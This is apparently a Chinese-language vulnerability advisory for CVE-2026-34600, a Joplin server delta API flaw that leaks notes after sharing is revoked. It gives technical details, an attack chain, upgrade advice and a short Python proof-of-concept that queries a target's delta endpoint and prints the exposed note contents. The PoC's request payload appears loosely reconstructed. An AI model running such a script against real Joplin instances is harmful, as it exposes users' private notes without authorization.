IPBUF安全漏洞报告
English
CVE-2026-34600 CVSS 5.7 中危

CVE-2026-34600 Joplin信息泄露漏洞

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2026-34600
漏洞类型
逻辑错误/信息泄露
CVSS评分
5.7 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Joplin

相关标签

信息泄露权限绕过逻辑错误JoplinCVE-2026-34600

漏洞概述

Joplin是一款开源笔记和待办事项应用程序。在3.5.2及之前版本中,delta API存在逻辑错误。该漏洞允许共享接收者下载已不再与其共享的笔记。具体而言,当启用DELTA_INCLUDES_ITEMS时,系统会将项目的最新状态附加到增量输出中,而未验证这些项目是否仍与请求用户共享。此外,变更压缩逻辑错误地将“创建-删除”操作缩减为“NOOP”,导致删除操作被丢弃。结果,delta API返回已删除项目的创建事件并附带完整内容,从而暴露了用户无权访问的笔记信息。

技术细节

该漏洞的核心在于Joplin服务器端的ChangeModel.delta方法处理共享权限验证时的逻辑缺陷。首先,当DELTA_INCLUDES_ITEMS选项启用(默认开启)时,API在生成增量输出时,会直接附加项目的最新内容,但缺乏对该项目当前共享状态的二次校验。这意味着,即使管理员撤销了某用户的访问权限,如果该用户获取了包含该笔记内容的delta响应,仍可读取数据。其次,变更压缩算法存在严重缺陷。系统旨在通过压缩“创建-删除”对来优化传输,将其视为NOOP(空操作)。然而,由于压缩是按页进行的,如果一个笔记的早期“创建”事件位于上一页,而随后的“创建-删除”对位于当前页,压缩逻辑会错误地删除“删除”操作,仅保留“创建”操作。攻击者作为共享接收者,只需调用delta API并解析响应,即可获取本应被撤销访问权限的笔记完整内容,导致敏感信息泄露。

攻击链分析

STEP 1
1. 初始访问
攻击者作为一个拥有低权限的用户,之前曾被共享过某个笔记或笔记本,随后管理员撤销了该共享权限。
STEP 2
2. 触发同步
攻击者向服务器发送请求,调用delta API以获取最新的数据变更(增量同步)。
STEP 3
3. 逻辑缺陷利用
服务器端的ChangeModel.delta在处理请求时,由于未正确校验当前的共享状态,且变更压缩逻辑错误地将“创建-删除”对压缩为空操作,导致本应被过滤或删除的笔记内容被包含在响应中。
STEP 4
4. 获取敏感数据
攻击者接收到API响应,从中解析出本应无权访问的笔记完整内容,造成信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Conceptual Proof of Concept for CVE-2026-34600 # This script demonstrates how an attacker might exploit the delta API logic error # to retrieve note content that is no longer shared with them. TARGET_URL = "https://target-joplin-instance.com" API_ENDPOINT = f"{TARGET_URL}/api/delta" SESSION_TOKEN = "<attacker_session_token>" # Low-privileged user token headers = { "Authorization": f"Bearer {SESSION_TOKEN}", "Content-Type": "application/json" } # Step 1: Request delta updates # The vulnerability relies on the server including items in the delta response # without verifying if the sharing permission was revoked. payload = { "options": { "DELTA_INCLUDES_ITEMS": True # Trigger the vulnerable logic path } } try: print(f"[*] Requesting delta from {API_ENDPOINT}...") response = requests.post(API_ENDPOINT, headers=headers, data=json.dumps(payload)) if response.status_code == 200: data = response.json() # Step 2: Parse response for exposed notes # Check if items are present that should have been filtered out if "items" in data: print("[+] Delta response received. Analyzing items...") for item in data["items"]: # In a real exploit, we would look for specific Note IDs we know were revoked print(f"[!] Found Item ID: {item.get('id')}") print(f" Title: {item.get('title')}") print(f" Body (Snippet): {item.get('body')[:50]}...") print(" [*] This data should not be accessible if sharing was revoked.") else: print("[-] No items found in delta response.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {str(e)}")

影响范围

Joplin <= 3.5.2

防御指南

临时缓解措施
建议用户立即将Joplin应用程序升级至3.5.3版本以修复此漏洞。在无法立即升级的情况下,管理员应仔细审查笔记共享列表,并监控服务器的API访问日志,留意是否有异常的delta API请求行为,以防止潜在的数据泄露风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表